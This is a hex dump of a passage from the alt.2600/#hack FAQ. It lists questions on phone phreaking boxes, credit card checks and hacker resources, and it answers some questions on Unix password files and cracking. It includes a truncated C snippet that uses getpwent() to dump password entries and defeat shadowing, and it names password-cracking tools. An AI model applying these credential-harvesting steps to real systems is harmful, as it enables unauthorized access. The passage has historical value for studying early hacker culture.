|00001060| 20 74 6f 20 61 20 6d 6f | 64 65 72 61 74 65 64 20 | to a mo|derated |
|00001070| 6e 65 77 73 67 72 6f 75 | 70 3f 0d 0a 0d 0a 0d 0a |newsgrou|p?......|
|00001080| 53 65 63 74 69 6f 6e 20 | 42 3a 20 54 65 6c 65 70 |Section |B: Telep|
|00001090| 68 6f 6e 79 0d 0a 0d 0a | 20 20 30 31 2e 20 57 68 |hony....| 01. Wh|
|000010a0| 61 74 20 69 73 20 61 20 | 52 65 64 20 42 6f 78 3f |at is a |Red Box?|
|000010b0| 0d 0a 20 20 30 32 2e 20 | 48 6f 77 20 64 6f 20 49 |.. 02. |How do I|
|000010c0| 20 62 75 69 6c 64 20 61 | 20 52 65 64 20 42 6f 78 | build a| Red Box|
|000010d0| 3f 0d 0a 55 20 30 33 2e | 20 57 68 65 72 65 20 63 |?..U 03.| Where c|
|000010e0| 61 6e 20 49 20 67 65 74 | 20 61 20 36 2e 35 35 33 |an I get| a 6.553|
|000010f0| 36 4d 68 7a 20 63 72 79 | 73 74 61 6c 3f 0d 0a 20 |6Mhz cry|stal?.. |
|00001100| 20 30 34 2e 20 57 68 69 | 63 68 20 70 61 79 70 68 | 04. Whi|ch payph|
|00001110| 6f 6e 65 73 20 77 69 6c | 6c 20 61 20 52 65 64 20 |ones wil|l a Red |
|00001120| 42 6f 78 20 77 6f 72 6b | 20 6f 6e 3f 0d 0a 20 20 |Box work| on?.. |
|00001130| 30 35 2e 20 48 6f 77 20 | 64 6f 20 49 20 6d 61 6b |05. How |do I mak|
|00001140| 65 20 6c 6f 63 61 6c 20 | 63 61 6c 6c 73 20 77 69 |e local |calls wi|
|00001150| 74 68 20 61 20 52 65 64 | 20 42 6f 78 3f 0d 0a 20 |th a Red| Box?.. |
|00001160| 20 30 36 2e 20 57 68 61 | 74 20 69 73 20 61 20 42 | 06. Wha|t is a B|
|00001170| 6c 75 65 20 42 6f 78 3f | 0d 0a 55 20 30 37 2e 20 |lue Box?|..U 07. |
|00001180| 44 6f 20 42 6c 75 65 20 | 42 6f 78 65 73 20 73 74 |Do Blue |Boxes st|
|00001190| 69 6c 6c 20 77 6f 72 6b | 3f 0d 0a 20 20 30 38 2e |ill work|?.. 08.|
|000011a0| 20 57 68 61 74 20 69 73 | 20 61 20 42 6c 61 63 6b | What is| a Black|
|000011b0| 20 42 6f 78 3f 0d 0a 55 | 20 30 39 2e 20 57 68 61 | Box?..U| 09. Wha|
|000011c0| 74 20 64 6f 20 61 6c 6c | 20 74 68 65 20 63 6f 6c |t do all| the col|
|000011d0| 6f 72 65 64 20 62 6f 78 | 65 73 20 64 6f 3f 0d 0a |ored box|es do?..|
|000011e0| 20 20 31 30 2e 20 57 68 | 61 74 20 69 73 20 61 6e | 10. Wh|at is an|
|000011f0| 20 41 4e 41 43 20 6e 75 | 6d 62 65 72 3f 0d 0a 55 | ANAC nu|mber?..U|
|00001200| 20 31 31 2e 20 57 68 61 | 74 20 69 73 20 74 68 65 | 11. Wha|t is the|
|00001210| 20 41 4e 41 43 20 6e 75 | 6d 62 65 72 20 66 6f 72 | ANAC nu|mber for|
|00001220| 20 6d 79 20 61 72 65 61 | 3f 0d 0a 20 20 31 32 2e | my area|?.. 12.|
|00001230| 20 57 68 61 74 20 69 73 | 20 61 20 72 69 6e 67 62 | What is| a ringb|
|00001240| 61 63 6b 20 6e 75 6d 62 | 65 72 3f 0d 0a 55 20 31 |ack numb|er?..U 1|
|00001250| 33 2e 20 57 68 61 74 20 | 69 73 20 74 68 65 20 72 |3. What |is the r|
|00001260| 69 6e 67 62 61 63 6b 20 | 6e 75 6d 62 65 72 20 66 |ingback |number f|
|00001270| 6f 72 20 6d 79 20 61 72 | 65 61 3f 0d 0a 20 20 31 |or my ar|ea?.. 1|
|00001280| 34 2e 20 57 68 61 74 20 | 69 73 20 61 20 6c 6f 6f |4. What |is a loo|
|00001290| 70 3f 0d 0a 55 20 31 35 | 2e 20 57 68 61 74 20 69 |p?..U 15|. What i|
|000012a0| 73 20 61 20 6c 6f 6f 70 | 20 69 6e 20 6d 79 20 61 |s a loop| in my a|
|000012b0| 72 65 61 3f 0d 0a 55 20 | 31 36 2e 20 57 68 61 74 |rea?..U |16. What|
|000012c0| 20 69 73 20 61 20 43 4e | 41 20 6e 75 6d 62 65 72 | is a CN|A number|
|000012d0| 3f 0d 0a 55 20 31 37 2e | 20 57 68 61 74 20 69 73 |?..U 17.| What is|
|000012e0| 20 74 68 65 20 74 65 6c | 65 70 68 6f 6e 65 20 63 | the tel|ephone c|
|000012f0| 6f 6d 70 61 6e 79 20 43 | 4e 41 20 6e 75 6d 62 65 |ompany C|NA numbe|
|00001300| 72 20 66 6f 72 20 6d 79 | 20 61 72 65 61 3f 0d 0a |r for my| area?..|
|00001310| 55 20 31 38 2e 20 57 68 | 61 74 20 61 72 65 20 73 |U 18. Wh|at are s|
|00001320| 6f 6d 65 20 6e 75 6d 62 | 65 72 73 20 74 68 61 74 |ome numb|ers that|
|00001330| 20 61 6c 77 61 79 73 20 | 72 69 6e 67 20 62 75 73 | always |ring bus|
|00001340| 79 3f 0d 0a 55 20 31 39 | 2e 20 57 68 61 74 20 61 |y?..U 19|. What a|
|00001350| 72 65 20 73 6f 6d 65 20 | 6e 75 6d 62 65 72 73 20 |re some |numbers |
|00001360| 74 68 61 74 20 74 65 6d | 70 6f 72 61 72 69 6c 79 |that tem|porarily|
|00001370| 20 64 69 73 63 6f 6e 6e | 65 63 74 20 70 68 6f 6e | disconn|ect phon|
|00001380| 65 20 73 65 72 76 69 63 | 65 3f 0d 0a 55 20 32 30 |e servic|e?..U 20|
|00001390| 2e 20 57 68 61 74 20 69 | 73 20 73 63 61 6e 6e 69 |. What i|s scanni|
|000013a0| 6e 67 3f 0d 0a 20 20 32 | 31 2e 20 49 73 20 73 63 |ng?.. 2|1. Is sc|
|000013b0| 61 6e 6e 69 6e 67 20 69 | 6c 6c 65 67 61 6c 3f 0d |anning i|llegal?.|
|000013c0| 0a 20 20 32 32 2e 20 57 | 68 65 72 65 20 63 61 6e |. 22. W|here can|
|000013d0| 20 49 20 70 75 72 63 68 | 61 73 65 20 61 20 6c 69 | I purch|ase a li|
|000013e0| 6e 65 6d 61 6e 27 73 20 | 68 61 6e 64 73 65 74 3f |neman's |handset?|
|000013f0| 0d 0a 20 20 32 33 2e 20 | 57 68 61 74 20 61 72 65 |.. 23. |What are|
|00001400| 20 74 68 65 20 44 54 4d | 46 20 66 72 65 71 75 65 | the DTM|F freque|
|00001410| 6e 63 69 65 73 3f 0d 0a | 20 20 32 34 2e 20 57 68 |ncies?..| 24. Wh|
|00001420| 61 74 20 61 72 65 20 74 | 68 65 20 66 72 65 71 75 |at are t|he frequ|
|00001430| 65 6e 63 69 65 73 20 6f | 66 20 74 68 65 20 74 65 |encies o|f the te|
|00001440| 6c 65 70 68 6f 6e 65 20 | 74 6f 6e 65 73 3f 0d 0a |lephone |tones?..|
|00001450| 20 20 32 35 2e 20 57 68 | 61 74 20 61 72 65 20 61 | 25. Wh|at are a|
|00001460| 6c 6c 20 6f 66 20 74 68 | 65 20 2a 20 28 4c 41 53 |ll of th|e * (LAS|
|00001470| 53 29 20 63 6f 64 65 73 | 3f 0d 0a 20 20 32 36 2e |S) codes|?.. 26.|
|00001480| 20 57 68 61 74 20 66 72 | 65 71 75 65 6e 63 69 65 | What fr|equencie|
|00001490| 73 20 64 6f 20 63 6f 72 | 64 6c 65 73 73 20 70 68 |s do cor|dless ph|
|000014a0| 6f 6e 65 73 20 6f 70 65 | 72 61 74 65 20 6f 6e 3f |ones ope|rate on?|
|000014b0| 0d 0a 4e 20 32 37 2e 20 | 57 68 61 74 20 69 73 20 |..N 27. |What is |
|000014c0| 43 61 6c 6c 65 72 2d 49 | 44 3f 0d 0a 4e 20 32 38 |Caller-I|D?..N 28|
|000014d0| 2e 20 57 68 61 74 20 69 | 73 20 61 20 50 42 58 3f |. What i|s a PBX?|
|000014e0| 0d 0a 4e 20 32 39 2e 20 | 57 68 61 74 20 69 73 20 |..N 29. |What is |
|000014f0| 61 20 56 4d 42 3f 0d 0a | 0d 0a 0d 0a 53 65 63 74 |a VMB?..|....Sect|
|00001500| 69 6f 6e 20 43 3a 20 52 | 65 73 6f 75 72 63 65 73 |ion C: R|esources|
|00001510| 0d 0a 0d 0a 55 20 30 31 | 2e 20 57 68 61 74 20 61 |....U 01|. What a|
|00001520| 72 65 20 73 6f 6d 65 20 | 66 74 70 20 73 69 74 65 |re some |ftp site|
|00001530| 73 20 6f 66 20 69 6e 74 | 65 72 65 73 74 20 74 6f |s of int|erest to|
|00001540| 20 68 61 63 6b 65 72 73 | 3f 0d 0a 4e 20 30 32 2e | hackers|?..N 02.|
|00001550| 20 57 68 61 74 20 61 72 | 65 20 73 6f 6d 65 20 66 | What ar|e some f|
|00001560| 73 70 20 73 69 74 65 73 | 20 6f 66 20 69 6e 74 65 |sp sites| of inte|
|00001570| 72 65 73 74 20 74 6f 20 | 68 61 63 6b 65 72 73 3f |rest to |hackers?|
|00001580| 0d 0a 20 20 30 33 2e 20 | 57 68 61 74 20 61 72 65 |.. 03. |What are|
|00001590| 20 73 6f 6d 65 20 6e 65 | 77 73 67 72 6f 75 70 73 | some ne|wsgroups|
|000015a0| 20 6f 66 20 69 6e 74 65 | 72 65 73 74 20 74 6f 20 | of inte|rest to |
|000015b0| 68 61 63 6b 65 72 73 3f | 0d 0a 55 20 30 34 2e 20 |hackers?|..U 04. |
|000015c0| 57 68 61 74 20 61 72 65 | 20 73 6f 6d 65 20 74 65 |What are| some te|
|000015d0| 6c 6e 65 74 20 73 69 74 | 65 73 20 6f 66 20 69 6e |lnet sit|es of in|
|000015e0| 74 65 72 65 73 74 20 74 | 6f 20 68 61 63 6b 65 72 |terest t|o hacker|
|000015f0| 73 3f 0d 0a 20 20 30 35 | 2e 20 57 68 61 74 20 61 |s?.. 05|. What a|
|00001600| 72 65 20 73 6f 6d 65 20 | 67 6f 70 68 65 72 20 73 |re some |gopher s|
|00001610| 69 74 65 73 20 6f 66 20 | 69 6e 74 65 72 65 73 74 |ites of |interest|
|00001620| 20 74 6f 20 68 61 63 6b | 65 72 73 3f 0d 0a 55 20 | to hack|ers?..U |
|00001630| 30 36 2e 20 57 68 61 74 | 20 61 72 65 20 73 6f 6d |06. What| are som|
|00001640| 65 20 57 6f 72 6c 64 20 | 77 69 64 65 20 57 65 62 |e World |wide Web|
|00001650| 20 28 57 57 57 29 20 73 | 69 74 65 73 20 6f 66 20 | (WWW) s|ites of |
|00001660| 69 6e 74 65 72 65 73 74 | 20 74 6f 20 68 61 63 6b |interest| to hack|
|00001670| 65 72 73 3f 0d 0a 55 20 | 30 37 2e 20 57 68 61 74 |ers?..U |07. What|
|00001680| 20 61 72 65 20 73 6f 6d | 65 20 49 52 43 20 63 68 | are som|e IRC ch|
|00001690| 61 6e 6e 65 6c 73 20 6f | 66 20 69 6e 74 65 72 65 |annels o|f intere|
|000016a0| 73 74 20 74 6f 20 68 61 | 63 6b 65 72 73 3f 0d 0a |st to ha|ckers?..|
|000016b0| 55 20 30 38 2e 20 57 68 | 61 74 20 61 72 65 20 73 |U 08. Wh|at are s|
|000016c0| 6f 6d 65 20 42 42 53 27 | 73 20 6f 66 20 69 6e 74 |ome BBS'|s of int|
|000016d0| 65 72 65 73 74 20 74 6f | 20 68 61 63 6b 65 72 73 |erest to| hackers|
|000016e0| 3f 0d 0a 55 20 30 39 2e | 20 57 68 61 74 20 61 72 |?..U 09.| What ar|
|000016f0| 65 20 73 6f 6d 65 20 62 | 6f 6f 6b 73 20 6f 66 20 |e some b|ooks of |
|00001700| 69 6e 74 65 72 65 73 74 | 20 74 6f 20 68 61 63 6b |interest| to hack|
|00001710| 65 72 73 3f 0d 0a 4e 20 | 31 30 2e 20 57 68 61 74 |ers?..N |10. What|
|00001720| 20 61 72 65 20 73 6f 6d | 65 20 76 69 64 65 6f 73 | are som|e videos|
|00001730| 20 6f 66 20 69 6e 74 65 | 72 65 73 74 20 74 6f 20 | of inte|rest to |
|00001740| 68 61 63 6b 65 72 73 3f | 0d 0a 55 20 31 31 2e 20 |hackers?|..U 11. |
|00001750| 57 68 61 74 20 61 72 65 | 20 73 6f 6d 65 20 6d 61 |What are| some ma|
|00001760| 69 6c 69 6e 67 20 6c 69 | 73 74 73 20 6f 66 20 69 |iling li|sts of i|
|00001770| 6e 74 65 72 65 73 74 20 | 74 6f 20 68 61 63 6b 65 |nterest |to hacke|
|00001780| 72 73 3f 0d 0a 20 20 31 | 32 2e 20 57 68 61 74 20 |rs?.. 1|2. What |
|00001790| 61 72 65 20 73 6f 6d 65 | 20 70 72 69 6e 74 20 6d |are some| print m|
|000017a0| 61 67 61 7a 69 6e 65 73 | 20 6f 66 20 69 6e 74 65 |agazines| of inte|
|000017b0| 72 65 73 74 20 74 6f 20 | 68 61 63 6b 65 72 73 3f |rest to |hackers?|
|000017c0| 0d 0a 4e 20 31 33 2e 20 | 57 68 61 74 20 61 72 65 |..N 13. |What are|
|000017d0| 20 73 6f 6d 65 20 65 2d | 7a 69 6e 65 73 20 6f 66 | some e-|zines of|
|000017e0| 20 69 6e 74 65 72 65 73 | 74 20 74 6f 20 68 61 63 | interes|t to hac|
|000017f0| 6b 65 72 73 3f 0d 0a 20 | 20 31 34 2e 20 57 68 61 |kers?.. | 14. Wha|
|00001800| 74 20 61 72 65 20 73 6f | 6d 65 20 6f 72 67 61 6e |t are so|me organ|
|00001810| 69 7a 61 74 69 6f 6e 73 | 20 6f 66 20 69 6e 74 65 |izations| of inte|
|00001820| 72 65 73 74 20 74 6f 20 | 68 61 63 6b 65 72 73 3f |rest to |hackers?|
|00001830| 0d 0a 55 20 31 35 2e 20 | 57 68 65 72 65 20 63 61 |..U 15. |Where ca|
|00001840| 6e 20 49 20 70 75 72 63 | 68 61 73 65 20 61 20 6d |n I purc|hase a m|
|00001850| 61 67 6e 65 74 69 63 20 | 73 74 72 69 70 65 20 65 |agnetic |stripe e|
|00001860| 6e 63 6f 64 65 72 2f 64 | 65 63 6f 64 65 72 3f 0d |ncoder/d|ecoder?.|
|00001870| 0a 20 20 31 36 2e 20 57 | 68 61 74 20 61 72 65 20 |. 16. W|hat are |
|00001880| 74 68 65 20 72 61 69 6e | 62 6f 77 20 62 6f 6f 6b |the rain|bow book|
|00001890| 73 20 61 6e 64 20 68 6f | 77 20 63 61 6e 20 49 20 |s and ho|w can I |
|000018a0| 67 65 74 20 74 68 65 6d | 3f 0d 0a 0d 0a 0d 0a 53 |get them|?......S|
|000018b0| 65 63 74 69 6f 6e 20 44 | 3a 20 32 36 30 30 0d 0a |ection D|: 2600..|
|000018c0| 0d 0a 20 20 30 31 2e 20 | 57 68 61 74 20 69 73 20 |.. 01. |What is |
|000018d0| 61 6c 74 2e 32 36 30 30 | 3f 0d 0a 20 20 30 32 2e |alt.2600|?.. 02.|
|000018e0| 20 57 68 61 74 20 64 6f | 65 73 20 22 32 36 30 30 | What do|es "2600|
|000018f0| 22 20 6d 65 61 6e 3f 0d | 0a 20 20 30 33 2e 20 41 |" mean?.|. 03. A|
|00001900| 72 65 20 74 68 65 72 65 | 20 6f 6e 2d 6c 69 6e 65 |re there| on-line|
|00001910| 20 76 65 72 73 69 6f 6e | 73 20 6f 66 20 32 36 30 | version|s of 260|
|00001920| 30 20 61 76 61 69 6c 61 | 62 6c 65 3f 0d 0a 20 20 |0 availa|ble?.. |
|00001930| 30 34 2e 20 49 20 63 61 | 6e 27 74 20 66 69 6e 64 |04. I ca|n't find|
|00001940| 20 32 36 30 30 20 61 74 | 20 61 6e 79 20 62 6f 6f | 2600 at| any boo|
|00001950| 6b 73 74 6f 72 65 73 2e | 20 20 57 68 61 74 20 63 |kstores.| What c|
|00001960| 61 6e 20 49 20 64 6f 3f | 0d 0a 20 20 30 35 2e 20 |an I do?|.. 05. |
|00001970| 57 68 79 20 64 6f 65 73 | 20 32 36 30 30 20 63 6f |Why does| 2600 co|
|00001980| 73 74 20 6d 6f 72 65 20 | 74 6f 20 73 75 62 73 63 |st more |to subsc|
|00001990| 72 69 62 65 20 74 6f 20 | 74 68 61 6e 20 74 6f 20 |ribe to |than to |
|000019a0| 62 75 79 20 61 74 20 61 | 20 6e 65 77 73 73 74 61 |buy at a| newssta|
|000019b0| 6e 64 3f 0d 0a 0d 0a 0d | 0a 53 65 63 74 69 6f 6e |nd?.....|.Section|
|000019c0| 20 45 3a 20 4d 69 73 63 | 65 6c 6c 61 6e 65 6f 75 | E: Misc|ellaneou|
|000019d0| 73 0d 0a 0d 0a 55 20 30 | 31 2e 20 57 68 61 74 20 |s....U 0|1. What |
|000019e0| 64 6f 65 73 20 58 58 58 | 20 73 74 61 6e 64 20 66 |does XXX| stand f|
|000019f0| 6f 72 3f 0d 0a 20 20 30 | 32 2e 20 48 6f 77 20 64 |or?.. 0|2. How d|
|00001a00| 6f 20 49 20 64 65 74 65 | 72 6d 69 6e 65 20 69 66 |o I dete|rmine if|
|00001a10| 20 49 20 68 61 76 65 20 | 61 20 76 61 6c 69 64 20 | I have |a valid |
|00001a20| 63 72 65 64 69 74 20 63 | 61 72 64 20 6e 75 6d 62 |credit c|ard numb|
|00001a30| 65 72 3f 0d 0a 20 20 30 | 33 2e 20 57 68 61 74 20 |er?.. 0|3. What |
|00001a40| 62 61 6e 6b 20 69 73 73 | 75 65 64 20 74 68 69 73 |bank iss|ued this|
|00001a50| 20 63 72 65 64 69 74 20 | 63 61 72 64 3f 0d 0a 55 | credit |card?..U|
|00001a60| 20 30 34 2e 20 57 68 61 | 74 20 61 72 65 20 74 68 | 04. Wha|t are th|
|00001a70| 65 20 65 74 68 69 63 73 | 20 6f 66 20 68 61 63 6b |e ethics| of hack|
|00001a80| 69 6e 67 3f 0d 0a 20 20 | 30 35 2e 20 57 68 65 72 |ing?.. |05. Wher|
|00001a90| 65 20 63 61 6e 20 49 20 | 67 65 74 20 61 20 63 6f |e can I |get a co|
|00001aa0| 70 79 20 6f 66 20 74 68 | 65 20 61 6c 74 2e 32 36 |py of th|e alt.26|
|00001ab0| 30 30 2f 23 68 61 63 6b | 20 46 41 51 3f 0d 0a 0d |00/#hack| FAQ?...|
|00001ac0| 0a 0d 0a 0d 0a 55 20 3d | 3d 20 55 70 64 61 74 65 |.....U =|= Update|
|00001ad0| 64 20 73 69 6e 63 65 20 | 6c 61 73 74 20 72 65 6c |d since |last rel|
|00001ae0| 65 61 73 65 20 6f 66 20 | 74 68 65 20 61 6c 74 2e |ease of |the alt.|
|00001af0| 32 36 30 30 2f 23 68 61 | 63 6b 20 46 41 51 0d 0a |2600/#ha|ck FAQ..|
|00001b00| 4e 20 3d 3d 20 4e 65 77 | 20 73 69 6e 63 65 20 6c |N == New| since l|
|00001b10| 61 73 74 20 72 65 6c 65 | 61 73 65 20 6f 66 20 74 |ast rele|ase of t|
|00001b20| 68 65 20 61 6c 74 2e 32 | 36 30 30 2f 23 68 61 63 |he alt.2|600/#hac|
|00001b30| 6b 20 46 41 51 0d 0a 0d | 0a 0d 0a 0d 0a 0d 0a 53 |k FAQ...|.......S|
|00001b40| 65 63 74 69 6f 6e 20 41 | 3a 20 43 6f 6d 70 75 74 |ection A|: Comput|
|00001b50| 65 72 73 0d 0a 7e 7e 7e | 7e 7e 7e 7e 7e 7e 7e 7e |ers..~~~|~~~~~~~~|
|00001b60| 7e 7e 7e 7e 7e 7e 7e 7e | 7e 0d 0a 0d 0a 30 31 2e |~~~~~~~~|~....01.|
|00001b70| 20 48 6f 77 20 64 6f 20 | 49 20 61 63 63 65 73 73 | How do |I access|
|00001b80| 20 74 68 65 20 70 61 73 | 73 77 6f 72 64 20 66 69 | the pas|sword fi|
|00001b90| 6c 65 20 75 6e 64 65 72 | 20 55 6e 69 78 3f 0d 0a |le under| Unix?..|
|00001ba0| 0d 0a 49 6e 20 73 74 61 | 6e 64 61 72 64 20 55 6e |..In sta|ndard Un|
|00001bb0| 69 78 20 74 68 65 20 70 | 61 73 73 77 6f 72 64 20 |ix the p|assword |
|00001bc0| 66 69 6c 65 20 69 73 20 | 2f 65 74 63 2f 70 61 73 |file is |/etc/pas|
|00001bd0| 73 77 64 2e 20 20 4f 6e | 20 61 20 55 6e 69 78 20 |swd. On| a Unix |
|00001be0| 73 79 73 74 65 6d 0d 0a | 77 69 74 68 20 65 69 74 |system..|with eit|
|00001bf0| 68 65 72 20 4e 49 53 2f | 79 70 20 6f 72 20 70 61 |her NIS/|yp or pa|
|00001c00| 73 73 77 6f 72 64 20 73 | 68 61 64 6f 77 69 6e 67 |ssword s|hadowing|
|00001c10| 2c 20 6d 75 63 68 20 6f | 66 20 74 68 65 20 70 61 |, much o|f the pa|
|00001c20| 73 73 77 6f 72 64 20 64 | 61 74 61 0d 0a 6d 61 79 |ssword d|ata..may|
|00001c30| 20 62 65 20 65 6c 73 65 | 77 68 65 72 65 2e 0d 0a | be else|where...|
|00001c40| 0d 0a 0d 0a 30 32 2e 20 | 48 6f 77 20 64 6f 20 49 |....02. |How do I|
|00001c50| 20 63 72 61 63 6b 20 55 | 6e 69 78 20 70 61 73 73 | crack U|nix pass|
|00001c60| 77 6f 72 64 73 3f 0d 0a | 0d 0a 43 6f 6e 74 72 61 |words?..|..Contra|
|00001c70| 72 79 20 74 6f 20 70 6f | 70 75 6c 61 72 20 62 65 |ry to po|pular be|
|00001c80| 6c 69 65 66 2c 20 55 6e | 69 78 20 70 61 73 73 77 |lief, Un|ix passw|
|00001c90| 6f 72 64 73 20 63 61 6e | 6e 6f 74 20 62 65 20 64 |ords can|not be d|
|00001ca0| 65 63 72 79 70 74 65 64 | 2e 20 20 55 6e 69 78 0d |ecrypted|. Unix.|
|00001cb0| 0a 70 61 73 73 77 6f 72 | 64 73 20 61 72 65 20 65 |.passwor|ds are e|
|00001cc0| 6e 63 72 79 70 74 65 64 | 20 77 69 74 68 20 61 20 |ncrypted| with a |
|00001cd0| 6f 6e 65 20 77 61 79 20 | 66 75 6e 63 74 69 6f 6e |one way |function|
|00001ce0| 2e 20 20 54 68 65 20 6c | 6f 67 69 6e 20 70 72 6f |. The l|ogin pro|
|00001cf0| 67 72 61 6d 0d 0a 65 6e | 63 72 79 70 74 73 20 74 |gram..en|crypts t|
|00001d00| 68 65 20 74 65 78 74 20 | 79 6f 75 20 65 6e 74 65 |he text |you ente|
|00001d10| 72 20 61 74 20 74 68 65 | 20 22 70 61 73 73 77 6f |r at the| "passwo|
|00001d20| 72 64 3a 22 20 70 72 6f | 6d 70 74 20 61 6e 64 20 |rd:" pro|mpt and |
|00001d30| 63 6f 6d 70 61 72 65 73 | 0d 0a 74 68 61 74 20 65 |compares|..that e|
|00001d40| 6e 63 72 79 70 74 65 64 | 20 73 74 72 69 6e 67 20 |ncrypted| string |
|00001d50| 61 67 61 69 6e 73 74 20 | 74 68 65 20 65 6e 63 72 |against |the encr|
|00001d60| 79 70 74 65 64 20 66 6f | 72 6d 20 6f 66 20 79 6f |ypted fo|rm of yo|
|00001d70| 75 72 20 70 61 73 73 77 | 6f 72 64 2e 0d 0a 0d 0a |ur passw|ord.....|
|00001d80| 50 61 73 73 77 6f 72 64 | 20 63 72 61 63 6b 69 6e |Password| crackin|
|00001d90| 67 20 73 6f 66 74 77 61 | 72 65 20 75 73 65 73 20 |g softwa|re uses |
|00001da0| 77 6f 72 64 6c 69 73 74 | 73 2e 20 20 45 61 63 68 |wordlist|s. Each|
|00001db0| 20 77 6f 72 64 20 69 6e | 20 74 68 65 20 77 6f 72 | word in| the wor|
|00001dc0| 64 6c 69 73 74 0d 0a 69 | 73 20 65 6e 63 72 79 70 |dlist..i|s encryp|
|00001dd0| 74 65 64 20 61 6e 64 20 | 74 68 65 20 72 65 73 75 |ted and |the resu|
|00001de0| 6c 74 73 20 61 72 65 20 | 63 6f 6d 70 61 72 65 64 |lts are |compared|
|00001df0| 20 74 6f 20 74 68 65 20 | 65 6e 63 72 79 70 74 65 | to the |encrypte|
|00001e00| 64 20 66 6f 72 6d 20 6f | 66 20 74 68 65 0d 0a 74 |d form o|f the..t|
|00001e10| 61 72 67 65 74 20 70 61 | 73 73 77 6f 72 64 2e 0d |arget pa|ssword..|
|00001e20| 0a 0d 0a 54 68 65 20 62 | 65 73 74 20 63 72 61 63 |...The b|est crac|
|00001e30| 6b 69 6e 67 20 70 72 6f | 67 72 61 6d 20 66 6f 72 |king pro|gram for|
|00001e40| 20 55 6e 69 78 20 70 61 | 73 73 77 6f 72 64 73 20 | Unix pa|sswords |
|00001e50| 69 73 20 63 75 72 72 65 | 6e 74 6c 79 20 43 72 61 |is curre|ntly Cra|
|00001e60| 63 6b 20 62 79 0d 0a 41 | 6c 65 63 20 4d 75 66 66 |ck by..A|lec Muff|
|00001e70| 65 74 74 2e 20 20 46 6f | 72 20 50 43 2d 44 4f 53 |ett. Fo|r PC-DOS|
|00001e80| 2c 20 74 68 65 20 62 65 | 73 74 20 70 61 63 6b 61 |, the be|st packa|
|00001e90| 67 65 20 74 6f 20 75 73 | 65 20 69 73 20 63 75 72 |ge to us|e is cur|
|00001ea0| 72 65 6e 74 6c 79 0d 0a | 43 72 61 63 6b 65 72 4a |rently..|CrackerJ|
|00001eb0| 61 63 6b 2e 0d 0a 0d 0a | 0d 0a 30 33 2e 20 57 68 |ack.....|..03. Wh|
|00001ec0| 61 74 20 69 73 20 70 61 | 73 73 77 6f 72 64 20 73 |at is pa|ssword s|
|00001ed0| 68 61 64 6f 77 69 6e 67 | 3f 0d 0a 0d 0a 50 61 73 |hadowing|?....Pas|
|00001ee0| 73 77 6f 72 64 20 73 68 | 61 64 6f 77 69 6e 67 20 |sword sh|adowing |
|00001ef0| 69 73 20 61 20 73 65 63 | 75 72 69 74 79 20 73 79 |is a sec|urity sy|
|00001f00| 73 74 65 6d 20 77 68 65 | 72 65 20 74 68 65 20 65 |stem whe|re the e|
|00001f10| 6e 63 72 79 70 74 65 64 | 20 70 61 73 73 77 6f 72 |ncrypted| passwor|
|00001f20| 64 0d 0a 66 69 65 6c 64 | 20 6f 66 20 2f 65 74 63 |d..field| of /etc|
|00001f30| 2f 70 61 73 73 77 64 20 | 69 73 20 72 65 70 6c 61 |/passwd |is repla|
|00001f40| 63 65 64 20 77 69 74 68 | 20 61 20 73 70 65 63 69 |ced with| a speci|
|00001f50| 61 6c 20 74 6f 6b 65 6e | 20 61 6e 64 20 74 68 65 |al token| and the|
|00001f60| 0d 0a 65 6e 63 72 79 70 | 74 65 64 20 70 61 73 73 |..encryp|ted pass|
|00001f70| 77 6f 72 64 20 69 73 20 | 73 74 6f 72 65 64 20 69 |word is |stored i|
|00001f80| 6e 20 61 20 73 65 70 61 | 72 61 74 65 20 66 69 6c |n a sepa|rate fil|
|00001f90| 65 20 77 68 69 63 68 20 | 69 73 20 6e 6f 74 20 72 |e which |is not r|
|00001fa0| 65 61 64 61 62 6c 65 0d | 0a 62 79 20 6e 6f 72 6d |eadable.|.by norm|
|00001fb0| 61 6c 20 73 79 73 74 65 | 6d 20 75 73 65 72 73 2e |al syste|m users.|
|00001fc0| 0d 0a 0d 0a 54 6f 20 64 | 65 66 65 61 74 20 70 61 |....To d|efeat pa|
|00001fd0| 73 73 77 6f 72 64 20 73 | 68 61 64 6f 77 69 6e 67 |ssword s|hadowing|
|00001fe0| 20 6f 6e 20 6d 61 6e 79 | 20 28 62 75 74 20 6e 6f | on many| (but no|
|00001ff0| 74 20 61 6c 6c 29 20 73 | 79 73 74 65 6d 73 2c 20 |t all) s|ystems, |
|00002000| 77 72 69 74 65 20 61 0d | 0a 70 72 6f 67 72 61 6d |write a.|.program|
|00002010| 20 74 68 61 74 20 75 73 | 65 73 20 73 75 63 63 65 | that us|es succe|
|00002020| 73 73 69 76 65 20 63 61 | 6c 6c 73 20 74 6f 20 67 |ssive ca|lls to g|
|00002030| 65 74 70 77 65 6e 74 28 | 29 20 74 6f 20 6f 62 74 |etpwent(|) to obt|
|00002040| 61 69 6e 20 74 68 65 0d | 0a 70 61 73 73 77 6f 72 |ain the.|.passwor|
|00002050| 64 20 66 69 6c 65 2e 0d | 0a 0d 0a 45 78 61 6d 70 |d file..|...Examp|
|00002060| 6c 65 3a 0d 0a 0d 0a 23 | 69 6e 63 6c 75 64 65 20 |le:....#|include |
|00002070| 3c 70 77 64 2e 68 3e 0d | 0a 6d 61 69 6e 28 29 0d |<pwd.h>.|.main().|
|00002080| 0a 7b 0d 0a 73 74 72 75 | 63 74 20 70 61 73 73 77 |.{..stru|ct passw|
|00002090| 64 20 2a 70 3b 0d 0a 77 | 68 69 6c 65 28 70 3d 67 |d *p;..w|hile(p=g|
|000020a0| 65 74 70 77 65 6e 74 28 | 29 29 0d 0a 70 72 69 6e |etpwent(|))..prin|
|000020b0| 74 66 28 22 25 73 3a 25 | 73 3a 25 64 3a 25 64 3a |tf("%s:%|s:%d:%d:|
|000020c0| 25 73 3a 25 73 3a 25 73 | 5c 6e 22 2c 20 70 2d 3e |%s:%s:%s|\n", p->|
|000020d0| 70 77 5f 6e 61 6d 65 2c | 20 70 2d 3e 70 77 5f 70 |pw_name,| p->pw_p|
|000020e0| 61 73 73 77 64 2c 0d 0a | 70 2d 3e 70 77 5f 75 69 |asswd,..|p->pw_ui|
|000020f0| 64 2c 20 70 2d 3e 70 77 | 5f 67 69 64 2c 20 70 2d |d, p->pw|_gid, p-|
|00002100| 3e 70 77 5f 67 65 63 6f | 73 2c 20 70 2d 3e 70 77 |>pw_geco|s, p->pw|
|00002110| 5f 64 69 72 2c 20 70 2d | 3e 70 77 5f 73 68 65 6c |_dir, p-|>pw_shel|
